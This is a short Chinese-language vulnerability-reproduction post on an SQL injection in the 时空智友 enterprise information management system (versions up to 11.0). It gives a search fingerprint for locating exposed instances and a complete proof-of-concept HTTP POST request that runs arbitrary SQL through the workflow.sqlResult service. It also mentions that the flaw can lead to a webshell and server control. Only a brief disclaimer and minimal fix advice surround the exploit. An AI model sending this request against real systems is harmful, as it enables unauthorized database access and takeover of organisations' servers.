时空智友企业信息管理系统 SQL注入漏洞复现

前言

此文章仅用于技术交流，严禁用于对外发起恶意攻击！！！

---

一、产品简介

时空智友企业流程化管控系统是一款企业信息管理软件，致力于协助大健康企业构建内部信息化，解决GSP管理、多组织管理、财务管理、税控管理、线上线下一体化等问题。 该系统可以帮助企业实现流程化管控，提高工作效率和管理水平。

二、漏洞描述

目前该系统存在SQL注入漏洞，攻击者通过恶意构造的SQL查询来执行未经授权的数据库操作。当应用程序未能正确验证、转义或过滤用户提供的输入数据时，攻击者可以利用这个漏洞来执行恶意的SQL语句，从而获取系统数据以及获得系统控制权限。

三、影响范围

版本<=11.0

四、复现环境

body=“时空智友企业信息管理”

五、漏洞复现

1.访问存在漏洞的网站，抓包

2.POC

POST /formservice?service=workflow.sqlResult HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 50

{"params": {"a": "11"}, "sql": "select db_name()"}

3.测试成功

六、漏洞利用

通过特定条件可写入webshell，获得服务器权限。

七、修复建议

及时将此系统放进内网，联系厂商进行加固

参考链接

https://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247497065&idx=1&sn=eff4d58dab82ff44562b93e88cd7d41a&chksm=974c5251a03bdb47f73f383083865a55250076bc6e63c81a74d7197679b8bd89679971158db8&from=industrynews&version=4.1.9.6041&platform=win#rd

---